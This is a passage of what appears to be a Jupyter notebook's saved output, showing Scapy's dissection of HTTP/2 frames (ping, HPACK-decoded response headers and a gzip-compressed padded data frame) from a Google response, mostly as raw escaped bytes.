2\\xc5L\\x0c\\x11\\x9d\\xd0\\xf6\\x91\\xb7\\xdb\\x8d\\x19\\x9f4c\\xc4x\\x1b\\x86\\x8f\\x910\\xed\\xe3fl/p)\\xdfT\\xd9\\n\\xe1\\xf3\\x86\\xb8\\x8b\\xd1\\xf6\\x11\\xc2fYFYC,\\r\\x16<\\xe2^\\xc4\\xdd\\xaa\\xd4\\xa8\\xfa\\xe9 #\\xbf\\xa3/c\\xe5\\xdd\\x19[\\xde\\xad\\x83B\\r\\x8dO\\xc8\\x08\\xd9\\x01j\\x8eyS\\x9fgb\\xd9C\\x0f\\xce\\xf9S\\x9c\\xf3\\xa9\\xea\\x19\\xaa\\x88H\\xd2\\xe5!I]\\x136H\\x06\\xf0$\\x8b\\xd2\\xe0\\x9c\\xbfHD9D\\xe4\\x8a\\xc0\\x7f]D\\xb4\\x99s\\xfe\\xc2\\x7f\\xc0\\x15\\xb9o\\r\\x11\\xc9x\\xc8\\xa1\\xde\\xf1*c^\\r\\xf3\\xcc5\\x88\\xd2 \\xa2\\xf3\\x00\\x9e\\x0f\\x07[\\xad3\\x92\\x99\\x1e\\xc9y\\x07{\\xeb\\xb7ae\\xf9|\\xcc)\\x1e\\xa7\\xe4\\xd4\\xe4\\x82\\x04\\xcc.J\\xc4\\xb2\\xa3s\\x90W\\xb3\\x01W\\x9b\\x1b\\xac\\xf6p\\x8fs\\xfej\\x18\\xe7\\x0e\\xc2\\xb6\\xb9\\xeeb\\xed\\xefK\\x91T0\\xd4\\xb2\\x86\\xe8\\xe9\\xebcsq\\xa5\\xb9\\xdet\\x0fVvP\\xe3\\xfc\\xa2Q\\xe6\\xe4\\x8d\\xc3\\x98\\xbe{dX\\xb8z\\x12v)\\xae\\xc9\\xb6\\xba\\x8b \\x7f \\xa2\\xef\\x8d\\xbc\\xc5\\r;\"\\xc6\\xd5hf^<\\xfe\\xcc\\x18\\to\\xc5\\x16\\xb3=\\xac2\\xd8\\xfd%\\xa3\\x9fW^/\\xb5\\xd4\\xfd\\xc5\\xc1$l\\xa9NGic!\\x0e]\\xde\\xa5\\xdc\\xfb\\xd2\\xb2\\x8f\\x90\\x94\\x1f\\xaf|_\\xb25\\x017W\\x8f\\xee\\xacKZ]\\xd5\\xc7\\x85>6\\x8d\\xf9U\\xf8\\xd9\\xfb&6\\x9f\\xbbo\"\\xce\\xdc\\xae\\xb4\\xf4\\xf3\\xeb-\\x8d\\xc8/\\x9e\\x8dVC]t\\xadK\\x02\\xf7\\xba\\x8d{\\xd8\\xac\\x9e\\xbd\\x0f\\x11\\x05|\\\\yjm\\x10\\xf6\\xa2\\xc3\\xd3\\xd1\\xe6u\\x84\\x0e6\\xbf\\x0f\\x9e\\x9dK\\x82j\\xb3\\xaf\\xaa (G\\x89<\\xc99O\\xd5\\xaf_ss\\xf4*s\\xe3\\xb5\\xa2\\xb4N\\xecYE\\x89h\\xf1\\xd8\\xc3\\x8ew\\xeey\\xa0\\x9cY\\x8f\\xef\\xce\\x9a\\x19\\xcc\\xc7y\\xb2\\xc8\\xad\\xfa\\xb5\\xef\\xae\\x91\\xd2o\\x08\\xeaW\\xb2\\x1f\\x93\\xf2G\\xa0\\xecJQ\\xc49\\xc7w*?\\xc8\\x06\\xdcq7\\xa8f\\x12\\xd1i\\xfd\\xda\\x98j\\x7f\\'\\xbe\\xa0\\x81\\x95\\xb7 \\x93/\\xf2\\x9c\\']\\r\\xc2\\x97\\xeb+\\x8c\\xf8\\xa2f\\x05\\x18\\xf6\\xd9J9\\x00?\\xa5\\xc6\\xdf%\\x8eY\\x1ffE\\xbe\\xaaB#\\xbe\\xa4\\xf5y\\xda\\xe8y4\\x10\\x7f\\xd9\\xdf\\x145|c.\\xd0\\xf7\\x99\\xff\\x07\\xbe\\xef\\xb7<3\\xfc\\xa6\\xae\\xec\\x9fz1z\\xf6\\x97\\xeb\\x8e\\x9b\\xd9?\\xc0\\xff\\x12\\xcf\\x06\\xfa_\\xbf=^\\xc82\\x1e\\xc9P\\xfd/ \\xfe\\xd2t\\xf1\\xf7\\xccz\\x17\\x86\\x8c\\xb3a\\xff!\\xcf\\xa3\\xc2\\x17\\xfd\\xda4\\xfd\\xda\\x157G\\xcf\\xc32\\xe2\\x96\\xb4v\\xf6\\xd7c\\xdf\\xb3\\xa3\\xd9AQ\\xc7\\x17\\xfd$\\x80\\xbeD\\x14p\\xc0\\xcf\\xd79\\x83z\\xfc\\x0f\\xe7\\xb7\\xa0\\xad\\x8d\\x87\\xd4\\xe9t\\xf1\\xb0{D\\xd1\\xd3\\xaa\\xf5\\' 0n\\xdd\\xf1\\xe3\\x8d\\xf1\\xb6\\xa0=L\\x9a\\xde\\x84\\xaa3^K\\x9d\\xa7N{11\\xc5\\x8e\\x1f2\\x1f\\x84\\x83\\x9f\\xa3\\xab\\xbf/\\x13Q\\x80\\xa3\\x97\\x1c\\xf1X\\xbewR\\xe74c}\\xb6\\x13{\\x0ex\\xb0\\xb7\\xc4\\x83\\xccl\\xa7\\xf2\\x96\\xd1\\xf3\\xa4e\\xb4i\\xcfa3lY\\xf4Z\\x86\\xfe#\\xdd\\xc8\\xb7u\\xa7\\xcbr\\x0f\\xe1\\xd0\\x8a5mV\\xf8kLz\\xbf\\xdeDTg\\xe4\\x15v\\x189\\xc1\\x161\\xf6\\xa8\\x896\\x1c9\\xden\\x86]c\\xf5N\\xe3\\x9c\\xf7\\'\"\\x9bQ\\xe6\\xf6]?\\xbeZ\\xd1\\x8a\\xa1\\xef\\x84\\xc6\\x15<\\x8b\\xbfiUdL\\xb0%\\xa3\\xdd-\\xde\\x8963\\xbb\\t\\xbf\\xfc9\\xcf\\x85O\\xbft(1)\\xde\\xe4\\t\\xefJH\\x9cb\\xc7\\xbc\\x85-\\xd8\\xbc\\xcd\\x85\\x7fn\\xf9\\xadl.\\x99\\xbd3\\xbb\\xb0C]\\x14\\xf3LM\\xa8s[\\xf4\\xe3\\xe9\\xc6\\xb8\\x88\\x10W\\x16}uW\\xef\\xf20l!bs\\x8b1G\\x85\\xc0u\\x8b\\x9eV\\xf4\\xd5Q|\\x07\\xf7\\x11\\xb9Z}\\x0b\\x9f\\x16uS\\xf7\\x7f\\x04\\xbb\\xba\\x96#\\xfaI\\xc1\\x1b\\xb6\\x9d\\xcb\\xbb\\x03\\x8c\\xc1\\xcf\\xd8\\xa8v\\xc6\\x9es0\\xd6\\xf7:c=\\xcb\\x19\\xeb.h9c\\xdd\\x04E\\xba_MN\\xd3#t\\n\\xdd\\x02C`\\tL\\x81\\xfdo\\x00\\x00\\x00\\xff\\xff\\xc6\\xf9Yo6\\x15\\x00\\x00'\n" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\n", "###[ HTTP/2 Frame ]### \n", " len = 0x8\n", " type = PingFrm\n", " flags = set([])\n", " reserved = 0L\n", " stream_id = 0L\n", "###[ HTTP/2 Ping Frame ]### \n", " opaque = 0\n", "\n", "###[ HTTP/2 Frame ]### \n", " len = 0x167\n", " type = HdrsFrm\n", " flags = set(['End Headers (EH)'])\n", " reserved = 0L\n", " stream_id = 1L\n", "###[ HTTP/2 Headers Frame ]### \n", " \\hdrs \\\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 8\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 33\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 22\n", " | | data = 'HPackZString(Tue, 13 Dec 2016 17:34:51 GMT)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 36\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Literal\n", " | | len = 2\n", " | | data = 'HPackLiteralString(-1)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 24\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 13\n", " | | data = 'HPackZString(private, max-age=0)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 31\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 22\n", " | | data = 'HPackZString(text/html; charset=ISO-8859-1)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 0\n", " | \\hdr_name \\\n", " | |###[ HPack Header String ]### \n", " | | type = Literal\n", " | | len = 3\n", " | | data = 'HPackLiteralString(p3p)'\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 81\n", " | | data = 'HPackZString(CP=\"This is not a P3P policy! See https://www.google.com/support/accounts/answer/151657?hl=en for more info.\")'\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 78\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 54\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Literal\n", " | | len = 3\n", " | | data = 'HPackLiteralString(gws)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 28\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 3\n", " | | data = 'HPackZString(4420)'\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 72\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 0\n", " | \\hdr_name \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 11\n", " | | data = 'HPackZString(x-frame-options)'\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 9\n", " | | data = 'HPackZString(SAMEORIGIN)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 55\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 165\n", " | | data = 'HPackZString(NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly)'\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 71\n", "\n", "###[ HTTP/2 Frame ]### \n", " len = 0x122b\n", " type = DataFrm\n", " flags = set(['End Stream (ES)', 'Padded (P)'])\n", " reserved = 0L\n", " stream_id = 1L\n", "###[ HTTP/2 Padded Data Frame ]### \n", " padlen = 230\n", " data = '\\x1f\\x8b\\x08\\x00\\x00\\x00\\x00\\x00\\x02\\xff\\xc5:\\xebz\\xdb\\xb6\\x92\\xff\\xfb\\x144\\xfcU\\x96\\xd6\\xb4DR7R4\\x9d\\x93:n\\xe2n\\xda\\xa4\\'\\xc9I\\xcf\\xa6\\xa9>\\x90\\x84(\\xc6\\xbc\\x99\\x00e;\\xb2\\xdem\\x1fg\\xf3\\x16;\\x03^D\\xc9N\\xd2o\\xff\\xec\\x97DC\\x003\\x03\\xcc\\x053\\x03 \\xa7\\x07~\\xea\\x89\\xbb\\x8c)K\\x11Gg\\xa7\\xf8\\xab\\x84\\x82\\xc5\\xdcK3\\xe6\\x10\"\\x1b\\x88\\xe0\\x90\\xa5\\x10\\xd9l0\\xe0\\xde\\x92\\xc5\\xb4\\x9f\\xe6\\xc1\\xe0=s_\\xd3\\x80\\x11%\\xa2I\\xe0\\x90EN\\x80\\x03\\xa3\\xfe\\xd9i\\xcc\\x04U\\xbc4\\x11,\\x11\\x0e\\x11\\xecV\\x0c\\x90\\xb5\\xadxK\\x9as&\\x9cwo\\x7f>1\\x89\\x82\\x8bA\\x18\\xc3L|\\xe0\\xe64\\xf1\\xc3$\\x18\\x04i\\x1aD,\\x18\\xe8\\xb7\\xf5\\xe7\\x9c\\x0b\\x18\\xa3\\xb9?\\xf7\\xd2(\\xcd\\xe7\\xbaa\\xfaY?K\\x82R\\x88,O3\\x87H6\\xc0]\\x84\"bg\\xcf%\\xe5\\xe9\\xa0l\\x9dr/\\x0f3q\\xd6]\\x14\\x89\\'\\xc24\\xe9\\xf6\\xd67a\\xe2\\xa77\\xfdr\\ng}uq9;z\\xf5\\xf9\\xe7\\xdf\\xdf\\xff2?y9z\\xf5_\\xf4ul%\"xu\\xa4^]\\xfc\\xf1\\x1a\\x06\\xa7cmj\\xe8\\xaa>\\x1c\\xeb\\x966T\\x87SM3FCu\\xa4\\x19\\x96\\xa9\\x8f\\x01\\x0e\\x8d\\xc9t\\x8a\\xd0\\xd4t\\x03\\xe0H7-\\x0b\\xe1pd\\xc9\\xf6\\xd8\\x1c\\xe9\\x08\\xcd\\xe1\\x08\\xf1\\xc6\\xe3\\xe9\\x08\\xe9&\\xc6d2A8\\x9e\\x9a\\xd8?\\x99\\x9a\\x13\\r\\xa19\\x1eKh\\x99C\\xb3\\x84\\x92~jL4C\\xc2\\xe9\\x14\\xe9\\xa7C\\xe0%\\xe1\\xd40%\\xb4\\xc68/p\\xb7\\xa6\\x12Zc9>\\xd1\\xac\\x12ZC\\xbd\\x84r}Ss$\\xf9\\x03\\x1cO$\\x9cNF\\x08-]\\x93mk4\\x92\\xf3Y\\xb0R\\tM\\xab\\x1c\\xb7\\xc6\\x08A\\xdc\\t\\xcec\\xea\\xda\\xb0\\x86\\xc8\\xd744\\xc9\\xcf4\\xf4\\xc9XBC\\x97\\xe3\\xc6D\\x97\\xe3\\xa0\\x069>\\x02\\rJ8\\x94\\xfa4a\\xbd\\xb2\\x7f\\xac\\x8d%\\xfexbH8\\xd1t]B\\xc3\\xd2$4\\'\\x12\\x7f:\\xd5%\\xfd\\xd4\\x92\\xfa7\\x91a\\t\\x87\\x93\\x12\\x8e\\xe4\\xb89)\\xf9[\\x9aV\\xc2R>\\xd3\\x1a\\x96\\xeb\\xb6\\x86\\xa3\\xb2=2\\xe5<\\xd6X\\xea\\xc5\\xb4&V\\xd9?\\x1d\\xe9\\x15D\\xfe\\xc0\\xc6\\x9cH8\\x1c\\x1b\\x12\\x8e4\\xbd\\x84\\xd2\\xae\\x16hf\\xa2\\x9aCM\\xd3\\xac\\x12\\x1aSC\\xc2\\xd1\\xd4TA\\xba\\xc9\\x04\\xfc\\x06\\xe0t\\x08\\xf3!\\x1c\\x81^\\x10\\x9ac\\xb3\\x84\\x96l\\x9b\\xda\\xb8\\x82\\x13\\x89o\\x8eA~\\x84\\x16\\xe8\\x07\\xa0\\x05\\x9c$D\\x7f\\xd45\\x03&4\\x87\\xe8\\xa8\\xf0a\\x18G*-\\xc4\\xb2\\xe0,\\x9fi\\xea\\x15\\xf7\\xf8\\xec\\xc8\\xb3\\x04(\\x91B\\xe8j8\\xc4\\xd1Cr\\x05\\x97\\xdb`\\xdc\\xb40\\xa8\\xea\\xf6\\xd6\"\\xbf[7\\xd4\\xdd\\x8b<\\x071iO=\\xd0ap\\x03\\xf3x\\xcb\\xae\\xd7[o\\x1a\\x06\"\\x8c\\xd9\\xc3I\\xba\\t\\xbbQ\\x9eQ\\xc1z(\\xfd[\\xc0\\xe9\\xf6\\x1a\\x92(\\rv&U=\\xd5W\\x83\\xde\\x9a:[\\x84wy\\xd4\\x1a\\xb2\\xc3E\\x97\\x90\\x03\\x07\\xd4\\x0e\\xea\\x06\\xd6\\x97\\x18\\x84mT?k\\x88F\\x1e\\xbde\\xc0\\xdc\\x8fE\\xe6\\xd1WT~$K\\x8a\\x90q(\\xbdi\\xc4\\x99\\xed\\x83l1\\x1c=\\xfa8CU\\x1a+\\x8e\\xf2\\xf0\\xe2\"Q:\\x1d\\xa5\\xfe\\xeeb\\xb9\\xa1t\\x1b\\xe2r\\xb2\\xde\\xba\\xa9\\xc9\\xbb=Y\\xeb\\xc2?{\\xf3\\x03\\xa2\\x1e\\xe0\\x9cP_\\xd7\\x14\\x8bNg\\xfb\\xdd\\xbf\\xeeK\\x1d\\x03\\xdb\\xa63p\\xaf\\xdb8\\xd8l\\xa1m~\\x80?xn\\xdc*\\xde\\x0fWJ\\x085g\\x9c\\x04.9S\\xea6&\\xd4\\xb3\\xd3$u\\xe1\\xd7U\\xbc\\x88r\\x0e}\\xfa\\xd9?\\x99\\x07Q\\r\\xfe\\x9d\\x0e\\\\\\xc0\\xa6\\xdb\\xa1\\xcaz\\xe5\\xf1j0\\xb8\\xb9iJ\\xf9E\\x0ej\\r\\x96\\xd9\\x93%TsyGP\\x17j3r&%\\xe6\\xa7\\x03\\xfaM>1$\\x8d\\x16#l\\xb6\\xf9D\\xe4\\xecW\\xe8\\xfa\\x1e\\x17\\xdc~5\\x17/\\x8d\\x07m\\x16&9{\\r\\xc3\\xdfc\\x81\\x02\\xdd\\x817\\x17n\\xc5\"\\x88\\x9c\\x9f\\xffY\\xb2\\xd0\\xc9\\xd9\\xbf\\xd3\\xe2-\\x0c}\\x8f\\x0b\\x98\\xba-Nr\\xc3w\\xf5\\x02\\xce\\xfb\\xd4\\x13\\x05l3\\xf1\\xe5o\\xe8&\\x8c\\xdaRa{\\xf0D\\xf2\\x89\\xc9\\xd9sl~\\x8f\\x85\\x9f\\xc3\\xfe\\xdd\\xd1\\x8c$O\\xc9\\xd93\\x1cyH.7py\\xa5\\xb8\\x1f\\xdd\\xc9\\xb7] \\x11\\xd1\\x00`\\x9a!\\x01\\x1f\\xc0N,@\\xf1\\x05HY\\x9c)\\x9d\\x9c^\\x17\\xa9\\x8d\\xf3\\x9d\\x0eJ\\xb7\\x1b\\x80+6\\xfe)\\x0bXE\\x16\\x01\\x0e\\xd6\\x8c\\xb5o\\xf2\\x8c&\\xa5\\xbf&\\xcd\"C\\x8c+\\xd0\\xdf\\x1e]4\\xa3\\x8bGFY\\xd3G[2<\\x10\\x01\\x0e\\x17\"\\xcd\\xefP\\x04p\\x84\\xd2l\\xa4a<:{!\\xc7\\xc3\\xeb\\x82)\\xef\\x99+uw\\x8f\\xda\\xab\\x03[\\x06\\x80\\xe5,\\xf1\\x18\\x7fH\\xfc\\x9a\\xe64\\xfe\\x1f\\x91W[B\\x12\\n\\x08\\xd2L8s\\x88\\xb7\\xe5B\\xe7SmO\\xc9\\xd4\\xf3 \\xee\\n\\xde\\xb6\\xe1\\x1b\\x96\\xafB\\x8f\\xbdL!\\xc2W\\xce\\x95\\xc14`OG\\xe4\\x05\\xeb\\xe0\\xadn\\x98\\x14\\xccy\\xdcR\\xedU\\x9d\\xa7I\\xc2n\\xc1`\\x8f[\\xa6F\\\\V~!\\xd3\\xae\\xf6-\\x8c\\xb2\\x90\\xafQ\\x94\\n\\xd3c\\x98\\xa0 \\xd4\\xc0\\x19,\\x82\\x93\\x93C\\xe00@d`\\x8a\\x82\\xcc\\'\\xdb8\\x15\\x05\\xb4jU\\x9eX\\x97\\x9d\\x86\\xacw\\x15H\\xf9\\xbb\\xe3uu\\xabkM\\x15iL\\'\\x98\\xe2\\x1f\\xcf\\xb6{7\\xdc\\x98\\x05\\xb6\\x97\\xdc\\xd8\\x9a\\xdf,\\xa1@\\x9ao\\xc9\\xab\\xfbncj\\xdcZFy\\xe5\\xddS\\x92\\xf4\\xa4\\xcc\\xceD\\x91\\xb7\\xdb\\x0e)/\\xbb\\x89\"S(\\x08\\x02\\xaa*%\\\\f\\xc8\\x96(\\xd5\\r\\x0bi\\x0e\\xaeQ\\xa7\\x03?\\xdd\\xde\\xae@U~\\x9fN\\xa7\\xed\\xdafR\\x97:\\xed\\xba\\xba9~A\\x92\\xa4\\x98\\xa9\\xe5\\xf1k\\x8a\\x9a\\x90\\x962\\xb0r&\\xb0\\xd6\\x9b\\x9cf\\x0e!g?\\x83\\xf0\\x1e\\xab\\x8c\\xd2\\xfe\\xdd\\x9a\\x1dO\\x08\\n\\x95i\\xce\\xa9\\x8f\\xb9\\xc0\\x82\\xc6\\xb04L\\xaf\\x10?\"\\xa6x,\\x8a*\\xcb8D#\\xb2\\r;\\xcc\\xab\\xda\\x80\\x96+\\xabJ\\x13\\xb0&\\xec\\xf0\\xab\\xedM\\x8c\\xf1\\x8f\\xe4\\xac\\x93\\xb8<\\x83x |9T\\xa1\\x96~\\xd2^\\xf1\\xa9,\\xbc\\xab\\xf9CP/p\\x05\\xcf&\\x97o^\\x9d\\x98\\xe6\\xd8:\\xd1\\xc1\\x00\\xe5\\xfbI\\xe8\\xfb,i(*<\\xdc\\x84%\\xf12\\xfa\\nf9\\xcc\\xd3\"\\xf7\\xd8\\x1eJ\\xcde\\x99\\xeda\\xbb\\xe1\\xcd7\\xb9\\xb9\\xe1\\xf2\\xc1\\xf8v\\xbb\\x10\\x9f\\x93=\\xff\\x1dn\\x0f\\xc3x\\xdeP\\xb4\\x86\\xe1\\xae[`\\xd9\\xd7\\xd4v\\xf5\\xde\\x18\\xd7\\xc7A\\x05\\xdd\\xe4a1\\x07NY\\xe0\\xddg\\x9c\\xe1=\\x9eCR(\\x94\\xea\\xa5@)\\xd7\\x88\\xd9\\xf8rS\\x06(\\xb5W\\xc7\\xf46bI \\xed\\xa7\\x8d\\xccZ\\xa9\\xd7 \\x07\\xf8\\xa7C\\xc6S\\xb2\\xf5\\xa5z\\xcd\\xed\\xe3\\'\\n$#\\xf2V\\x05\\xbb\\x1dXd7Bo\\xfb\\x9a\\xc5=\\\\S\\xa5j\\x91<\\xafu\\xcd\\x0b7\\x0e\\x05i\\xc2};\\x13\\xfc_\\xe7\\xfd\\xe5\\x88\\x86\\x8a\\xcf\\x94\\x88\\xe2\\xebZ\\xe2\\xb5\\'\\xbe\\xc4]\\xedE\\xa1w\\x05\\xce\\xb9\\x90\\xd7S}\\xdc@P\\x93I\\xea\\x9e\\xec\\x815{W\\xccwt[aP]*`\\x91\\xe6\\xda\\njR?M\\xfd\\x08\"\\xd3\\xd1w\\xa4\\xa8\\xf7J\\xb5F8\\xda\\xe1qi/\\xe04;gg\\xb75yo@\\xfd\\x15\\xca\\xe0\\xcf\\xab\\x0b\\xac2}\\xd08\\xb3\\xeb\\xf7\\t\\x07,\\xb5\\xd55E\\xf4/\\xb2P\\xd82\\xc1\\xf7\\xc8\\x02\\xa2)$\\xae4\\xe2_\\xe1\\xf1\\xaa\\x10a\\xc4\\x15\\xf0\\x81\\xa0\\x80\\xc4\\x89i\\x93\\x97Y\\x06\\xe5\\x18\\x08\\x8c82\\x98\\xd4\\xba\\xc7X\\x19\\xb8\\xabZ\\xbd\\xf2\\xf3\\xd1\\xdd\\xa8\\xa3jP\\xcd\\xdb\\xb4\\x817\\x1e\\x1c\\xf3\\x1ei\\'\\xa7\\xca\\r\\xb7a\\xd4\\x1c\\xfeh\\xc7p|\\xac7\\x1d^8\\x91v\\xf4\\xabk\\x06\\xa0I1\\x12}\\x85\\x0f$\\x1b\\xb1;V\\xedI\\xdd\\xc2\\xe3\\x15l\\xb6\\xf6u[\\x1d\\xd5$_\\xc8{-M\\xd6U\\x13\\xf5\\xb1bz\\x83whX=)Y\\xe1\\x82W\\x85\\x82\\x86U\\xc1\\xb0%\\xe1e\\xf6\\xdf\\xc5\\xf7\\x8f`\\x0eHHy\\xc8wm\\xb5\\xad\\x90\\x8b\\x9d\\x1aB\\xd7&\\x96\\xa6\\x8f\\xcc\\x89i\\xe2\\x83\\x98\\xa1\\x19\\xa6aT\\xa7-99_\\xa2\\xf8\\xc7\\xf5\\x13.}l\\xd1.\\x94I}|x&g\\xff\\xad\\xe0\\x03p\\xcaq\\xa7{\\xe25x\\x17\\x11C0\\xf3\\xe4\\xe1Y\\xa5\\x8e\\xdf\\x87\\x08\\t=\\xf5\\xd4u\\xbb\\x9a\\x96v:n\\xa7\\xd3\\xa5\\x07\\xceV\\xae\\xbe\\x94\\xe6\\xfe\\xde\\xdd\\xe9,e\\xdd\\xbe\\x88@Y\\xd5%D\\xc5\\xbf\\x83\\x92%\\xbe\\xbb<\\xe9T\\x8f.\\x90\\xa3\\xabW\\x17\\xc8\\xc6\\xf2\\xd5e\\xf7\\xed\\xe7\\xea\\xe2\\xb2\\xb7\\xf7\\xb2\\xf0\\x95\\xc3\\xf3\\xed\\'\\xee\\x93\\xbd\\x13\\x0bv\\x86\\x8f_7\\xd4\\x9f\\x8a\\xd7u\\x1b\\xa3\\xf1\\xf2\\xa5\\x0fv\\xccC\\x035\\xe7y/\\x87\\x8a\\x92U\\x1a\\xec\\x92\\x927\\xe9\\xd9T\\xde\\x1b\\xb8\\xad{\\x00V\\xeb\\xf9\\xa7\\xbbK\\xbf[\\xae\\xb0\\xd7\\xa7Y\\xc6\\x12\\xff|\\x19F~\\x97\\xf66\\xaa\\xd6\\xdbT\\xc2\\xfa\\xd1\\xa7l\\xfb\\xd6\\xe2\\xaa\\xb4yk\\x01\\xd2\\x02X{H`o\\xb1\\x1doO7_wD\\xe0\\x90\\xc7\\xf8\"$\\xd5\\x07nT\\xbf\"\\xf5\\xea\\x8f\\xfe\"\\xcc\\xb9@\\x14t\\xb2-Y\\xc3i^{\\xdb\\xfc\\xfe~\\xdd\\xbc1\\xce\\xfb\\xf3gE\\x9c]\\xdczL\\x9e*\\xb7\\x02\\xb0\\xdeZ,\\xf3\\xf4Fa\\x9b\\xd6\\x84\\xf8\\x86\\x96\\xf3\\xc6?\\xca\\xa6|i\\xea\\x8bF\\xde\\x9d^\\\\D\\xc4\\x9d\\xfaA\\xb6\\xdbz\\x91\\xb5\\xdb\\xaa\\xeb\\x1e\\r\\x00s0\\x1f\\xc0\\xcf\\xd5\\x9f\\xb7C\\x1fZ\\xfde\\xd6g\\xc9\\xfc\\xdd\\x9b\\xfe\\xfb\\xdf\\x86\\x7fdo>\\x9f\\xfc\\xf4\\xdc\\xec\\xbf\\x1a\\xc48\\xce\\xdd\\xf9\\x92\\xa9\\xfe \\x17\\xd8\\xfa4\\xf0\\x11\\xe8\\x03\\xd9\\xfa\\xecA\\x0c\\xc89~>=\\x7fki\\xe9\\xf3\\x95\\xff\\x82N\\xdf\\xbe4\\xde\\xcf/\\x7f\\xffC\\xe7\\xe3\\x9f^\\xdf\\xfe\\xfb\\xf2\\x05{\\xb7Z\\xfe~\\xa4\\xfe\\xffM\\xdd\\xb3\\xb7\\xa6\\x82\\xea\\xa5VH\\x16{\\xce\\x9a\\xc8i\\xc8lM\\xa0\\x10H\\xc8\\x0cO\\x9e*\\xf1\\xda\\xdfrK\\x92\\x19\\x96\\xb8y\\x94\\xa6\\xf1\\t\\x94\\xd1*\\xf1\\x975\\x82\\xbf\\xbc\\x16\\xcd7\\x07D\\x18]Du\\xcf2\\xe5H\\xdcd\\x0b\\x18\\x0c\\xb9\\x0b\\xc4\\x86\\xa9\\x92O4&\\x10\\xf4\\xc8\\'\\x9e&YM\\x11\\xc5\\xf5W\\xcc\\x03\\x8eK\\xf3B\\x17\\xf8\\x91\\x8b\\xc5\\x82z,\\xc7\\x12.\\xaf+\\x1b\\\\\\xc9]\\x8c\\x83\\x9c\\xd3;\\xf6\\x19*\\x1d\\xe6\\xc19F\\x08\\xa6\\xa4\\xb9X\\xa6\\x01\\xd4QP\\x00\\xcd\\x001\\xf2\\xae\\xee\\x00\\xf3\\x97?\\x0bM3&\\x87C\\xcb\\xde/\\tqr9S\\xa2p\\xbaJ\\xc3\\\\\\xc1\\x84\\x0b\\xdd)\\xbfB)\\xaab\\x08h8\\ry\\x88\\x04\\x19li\\x189\\x973\\xf2\"\\x80\\xc3\\xa9\\x0c\\x1aTqAo\\xca\\x17\\xf1\\x05z3\\xc85\\xf1\\x17\\x86\\x84\\xab\\x14\\x12\\xbc\\x82K\\x18\\x9eW\\t\\xe6OR\\xdfY\\xfcI\\xe4\\xc0\\xc5r\\xe7\\x8a\\xa2D\\x1e\\xd0r\\xac_N\\x8a\\xcb|S2f\\xa8T\\xee\\x86\\xb8\\xc2m\\xc9\\x97\\xe1]\\xa8\\xfc\\x7f\\\\0\\x88\\xa7\\xbf\\xd9\\xc3\\xda{\\xa3\\x92\\x04MV\\xaa;]\\xe5\\xa0m\\xe8\\xcb\\xaeK+\\xc2\\xe2\\xe0T_\\x8d\\xe6\\x0b@\\xfc\\xf0\\x11\\x98y\\xd0\\xa7k\\xf8\\x01\\x8e3\\x06(\\xd2+ XY\\xcb\\xc4\\xba\\xf8\\xed\\xf5\\xbf\\x8c\\xf3k\\xfd_\\xcf\\x9e\\x16\\x93\\xc2\\x1fO\\xde~\\xbe\\xba\\xfb\\x1d\\'\\xf2\\x91\\xf7\\xf6\\xf5\\xba\\x8c%\\xe5\\xfbp+$m\\xa3@\\xcc\\xfcf\\xb3\\xc3w\\xf7(LB\\xb1\\xf5el\\x9579w\\xdd\\xa6S\\xe2U\\xba\\x04\\xd4\\xcd\\xa6\\x1d\\xc7>5\\x11\\xe5\\x13\\xec\\xbaV\\xe36|,\\xbc\\xb7\\x86!\\x00\\xdb\\xf2U\\xb0\\xbe\\x0f/\\x8b\\x12L\\x8cx\\x89\\x8d\\xff\\'\\xf0\\x7f\\x01\\xa9\\x9a\\xd7%#(\\x00\\x00'\n", " padding = 